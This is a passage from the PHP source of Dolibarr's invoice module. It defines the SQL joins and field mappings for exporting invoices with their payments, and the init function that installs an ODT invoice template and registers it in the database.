's.siret'=>'company', 's.ape'=>'company', 's.idprof4'=>'company', 's.code_compta'=>'company', 's.code_compta_fournisseur'=>'company', 's.tva_intra'=>'company', 'pj.ref'=>'project', 'pj.title'=>'project', 'p.rowid'=>'payment', 'p.ref'=>'payment', 'p.amount'=>'payment', 'pf.amount'=>'payment', 'p.datep'=>'payment', 'p.num_paiement'=>'payment', 'pt.code'=>'payment', 'pt.libelle'=>'payment', 'p.note'=>'payment', 'f.fk_user_author'=>'user', 'uc.login'=>'user', 'f.fk_user_valid'=>'user', 'uv.login'=>'user', 'p.fk_bank'=>'account', 'ba.ref'=>'account' ); $this->export_special_array[$r] = array('none.rest'=>'getRemainToPay'); $this->export_dependencies_array[$r] = array('payment'=>'p.rowid', 'none.rest'=>array('f.rowid', 'f.total_ttc', 'f.close_code')); // To add unique key if we ask a field of a child to avoid the DISTINCT to discard them, or just to have field we need $keyforselect = 'facture'; $keyforelement = 'invoice'; $keyforaliasextra = 'extra'; include DOL_DOCUMENT_ROOT.'/core/extrafieldsinexport.inc.php'; $this->export_sql_start[$r] = 'SELECT DISTINCT '; $this->export_sql_end[$r] = ' FROM '.MAIN_DB_PREFIX.'societe as s'; if (empty($user->rights->societe->client->voir)) $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'societe_commerciaux as sc ON sc.fk_soc = s.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_country as c on s.fk_pays = c.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_departements as cd on s.fk_departement = cd.rowid,'; $this->export_sql_end[$r] .= ' '.MAIN_DB_PREFIX.'facture as f'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'projet as pj ON f.fk_projet = pj.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'user as uc ON f.fk_user_author = uc.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'user as uv ON f.fk_user_valid = uv.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'facture_extrafields as extra ON f.rowid = extra.fk_object'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'paiement_facture as pf ON pf.fk_facture = f.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'paiement as p ON pf.fk_paiement = p.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_paiement as pt ON pt.id = p.fk_paiement'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'bank as b ON b.rowid = p.fk_bank'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'bank_account as ba ON ba.rowid = b.fk_account'; $this->export_sql_end[$r] .= ' WHERE f.fk_soc = s.rowid'; $this->export_sql_end[$r] .= ' AND f.entity IN ('.getEntity('invoice').')'; if (isset($user) && empty($user->rights->societe->client->voir)) $this->export_sql_end[$r] .= ' AND sc.fk_user = '.$user->id; $r++; } /** * Function called when module is enabled. * The init function add constants, boxes, permissions and menus (defined in constructor) into Dolibarr database. * It also creates data directories * * @param string $options Options when enabling module ('', 'newboxdefonly', 'noboxes') * @return int 1 if OK, 0 if KO */ public function init($options = '') { global $conf, $langs; // Remove permissions and default values $this->remove($options); //ODT template $src = DOL_DOCUMENT_ROOT.'/install/doctemplates/invoices/template_invoice.odt'; $dirodt = DOL_DATA_ROOT.'/doctemplates/invoices'; $dest = $dirodt.'/template_invoice.odt'; if (file_exists($src) && !file_exists($dest)) { require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; dol_mkdir($dirodt); $result = dol_copy($src, $dest, 0, 0); if ($result < 0) { $langs->load("errors"); $this->error = $langs->trans('ErrorFailToCopyFile', $src, $dest); return 0; } } $sql = array( "DELETE FROM ".MAIN_DB_PREFIX."document_model WHERE nom = '".$this->db->escape($this->const[1][2])."' AND type = 'invoice' AND entity = ".$conf->entity, "INSERT INTO ".MAIN_DB_PREFIX."document_model (nom, type, entity) VALUES('".$this->db->escape($this->const[1][2])."','invoice',".$conf->entity.")" ); return $this->_init($sql, $options); } }